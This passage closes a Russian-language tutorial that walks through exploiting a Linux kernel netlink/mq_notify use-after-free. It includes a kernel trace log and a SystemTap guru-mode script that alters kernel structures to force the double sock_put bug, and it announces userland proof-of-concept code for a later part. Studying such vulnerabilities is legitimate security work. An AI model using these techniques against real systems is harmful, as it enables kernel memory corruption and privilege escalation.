(13560-13560) [netlink] ==>> netlink_detachskb (sk=0xffff88002d7e5c00 skb=0xffff88003d2c1440)

(13560-13560) [kmem] ==>> kfree (objp=0xffff880033fd0000)

(13560-13560) [kmem] <<== kfree =

(13560-13560) [sk] ==>> sk_free (sk=0xffff88002d7e5c00)

(13560-13560) [sk] ==>> __sk_free (sk=0xffff88002d7e5c00)

(13560-13560) [kmem] ==>> kfree (objp=0xffff88002d7e5c00) // <---- freeing "sock"

(13560-13560) [kmem] <<== kfree =

(13560-13560) [sk] <<== __sk_free =

(13560-13560) [sk] <<== sk_free =

(13560-13560) [netlink] <<== netlink_detachskb

Как видно по логам, объект sock освободился, но не возникла ошибка use‑after‑free.

Почему не возник крах?

Был отработан сценарий, отличающийся от первоначального плана, и объект netlink_sock был освобожден функцией netlink_detachskb(). Причина в том, что не была вызвана функция close() (мы только обнулили один из элементов таблицы FDT). Таким образом, файловый объект не освободился, и не уничтожилась ссылка на объект netlink_sock. Другими словами, мы пропустили уменьшение счетчика ссылок.

Однако ничего страшного не случилось. Мы хотели проверить, что счетчик ссылок был уменьшен дважды (один раз функцией netlink_attachskb(), второй раз функцией netlink_detachskb()), что и произошло.

Во время стандартного сценария (то есть когда мы вызываем close()) дополнительное уменьшение счетчика возникнет, и в функции netlink_detachskb() возникнет ошибка use‑after‑free. Просто мы «отложили» появление use‑after‑free, чтобы сохранить контроль над ситуацией (подробнее во второй части).

Финальный скрипт

Полноценный скрипт, который активирует уязвимость в ядре, можно упростить так:

# mq_notify_force_crash.stp

#

# Run it with "stap -v -g ./mq_notify_force_crash.stp" (guru mode)

%{

#include <net/sock.h>

#include <net/netlink_sock.h>

#include <linux/fdtable.h>

%}

function force_trigger:long (arg_sock:long)

%{

struct sock *sk = (void*) STAP_ARG_arg_sock;

sk->sk_flags |= (1 << SOCK_DEAD); // avoid blocking the thread

struct netlink_sock *nlk = (void*) sk;

nlk->state |= 1; // enter the netlink_attachskb() retry path

struct files_struct *files = current->files;

struct fdtable *fdt = files_fdtable(files);

fdt->fd[3] = NULL; // makes the second call to fget() fails

%}

probe kernel.function ("netlink_attachskb")

{

if (execname() == "exploit")

{

force_trigger($sk);

}

}

Достаточно просто, не так ли?

Заключение

В первой части мы познакомились с основными структурами данных ядра, а также механизмом обработки счетчика ссылок. Во время изучения общедоступной информации (CVE и комментарии к патчу) мы смогли еще лучше понять механику уязвимости, и наметили сценарий атаки.

Затем мы начали разработку эксплоита и проверили, что брешь действительно воспроизводится от имени непривилегированного пользователя. В процессе проверки мы познакомились с очень полезной утилитой System Tap. Во время разработки мы обнаружили подводный камень, связанный с оберткой библиотеки.

С помощью продвинутого режиме в System Tap мы форсировали активацию уязвимости в ядре и убедились, что можем стабильно воспроизводить брешь double sock_put(). Для воспроизведения проблемы должны выполниться три условия:

  1. Функция netlink_attachskb() должна вернуть 1.

  2. Поток эксплоита должен быть разблокирован.

  3. Второй вызов функции fget() должен вернуть NULL.

В следующей статье будет разработан концептуальный код, куда будут перенесены все модификации ядра, которые мы делали при помощи скрипта в System Tap. В итоге уязвимость будет воспроизведена исключительно при помощи кода из пространства пользователя.

Надеемся, вам понравилось это путешествие. Увидимся во второй части.